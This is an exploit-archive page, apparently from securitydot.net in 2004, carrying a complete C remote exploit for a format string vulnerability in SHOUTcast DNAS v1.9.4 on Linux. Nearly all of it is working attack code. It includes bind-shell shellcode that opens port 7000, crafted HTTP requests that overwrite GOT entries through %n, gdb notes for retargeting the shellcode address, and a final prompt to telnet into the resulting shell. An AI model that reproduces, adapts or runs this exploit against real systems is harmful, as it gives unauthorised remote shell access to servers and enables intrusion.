exploits , vulnerabilities , articles , SHOUTcast DNAS/Linux v1.9.4 format string Remote Exploit

/* SHOUTcast DNAS/Linux v1.9.4 format string remote exploit */
/* Damian Put <pucik cc-team org> Cyber-Crime Team (www.CC-Team.org)
*/
/* Tested on slackware 9.1 and 10.0 (0xbf3feee0) */ 
/* When exploit only crash SHOUTcast we should calculate new address: */ 
/* */
/* bash-2.05b$ gdb sc_serv core */
/* ... */
/* (gdb) x/x $edi */
/* 0xbe462270: 0x78257825 */
/* (gdb) x/x 0xbe462270-996 */
/* 0xbe461e8c: 0x5050c031 */
/* */
/* 0xbe461e8c - This is our shellcode addr */
/* */
/* Now we "only" must change format string code in req2 :-) */


#include <stdio.h>
#include <stdlib.h>
#include <sys/errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
 
/* Default SHOUTcast port */
#define PORT 8000
 
char shellcode[] = //bindshellcode (port 7000)

"\x31\xc0\x50\x50\x66\xc7\x44\x24\x02\x1b\x58\xc6\x04\x24\x02\x89\xe6"

"\xb0\x02\xcd\x80\x85\xc0\x74\x08\x31\xc0\x31\xdb\xb0\x01\xcd\x80\x50"

"\x6a\x01\x6a\x02\x89\xe1\x31\xdb\xb0\x66\xb3\x01\xcd\x80\x89\xc5\x6a"

"\x10\x56\x50\x89\xe1\xb0\x66\xb3\x02\xcd\x80\x6a\x01\x55\x89\xe1\x31"

"\xc0\x31\xdb\xb0\x66\xb3\x04\xcd\x80\x31\xc0\x50\x50\x55\x89\xe1\xb0"

"\x66\xb3\x05\xcd\x80\x89\xc5\x31\xc0\x89\xeb\x31\xc9\xb0\x3f\xcd\x80"

"\x41\x80\xf9\x03\x7c\xf6\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62"
 "\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"; 
 
int main(int argc, char *argv[])
{
 int sock;
 char *host;
 struct hostent *h;
 struct sockaddr_in dest;
 
 char req1[1024] = "GET /content/AA"
 /* sprintf GOT addr */

"\x3c\x49\x06\x08\x3d\x49\x06\x08\x3e\x49\x06\x08\x3f\x49\x06\x08";
 
 strcat(req1, shellcode);
 strcat(req1, ".mp3 HTTP/1.0\r\n\r\n");
 
 /* We cannot use %numberx and %number$n (filtered) */
 /* 0xbf3feee0 - shellcode addr on slackware 9.1 */
 char *req2 = "GET /content/%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
 %x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x"
 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA-%n-AAAAAAAAAAAA-
 %n-AAAAAAAAAAAAAAAAAAAAAAAAAAAA"
 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA-%n-AAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAA-
%n.mp3"
 " HTTP/1.0\r\n\r\n";
 
 
printf("SHOUTcast DNAS/Linux v1.9.4 format string remote exploit by
pucik www.CC-Team.org\n");
 if(argc < 2)
 {
 printf("Usage: %s <host>\n", argv[0]);
 exit(0);
 }
 
 host = argv[1];
 
 if(!(h = gethostbyname(host)))
 {
 fprintf(stderr, "Cannot get IP of %s, %s!\n", host,
strerror(errno));
 exit(-1);
 }

 sock = socket(PF_INET, SOCK_STREAM, 0);
 
 dest.sin_addr=*((struct in_addr*)h->h_addr);
 dest.sin_family = PF_INET;
 dest.sin_port = htons(PORT);
 
 if(connect(sock, (struct sockaddr*)&dest, sizeof(struct sockaddr)) ==
-1)
 {
 fprintf(stderr, "Cannot connect to %s, %s!\n", host,
strerror(errno));
 exit(-1);
 }
 
 printf("[*] Sending first request ...\n");
 write(sock, req1, strlen(req1));
 
 close(sock);
 
 sock = socket(PF_INET, SOCK_STREAM, 0);
 
 if(connect(sock, (struct sockaddr*)&dest, sizeof(struct sockaddr)) ==
-1)
 {
 fprintf(stderr, "Cannot connect to %s, %s!\n", host,
strerror(errno));
 exit(-1);
 }
 
 printf("[*] Sending second request ...\n");
 write(sock, req2, strlen(req2));

 close(sock);
 
 printf("[*] Try telnet %s 7000 :)\n", host);
 
 return 0;
}
securitydot.net - 2004-12-23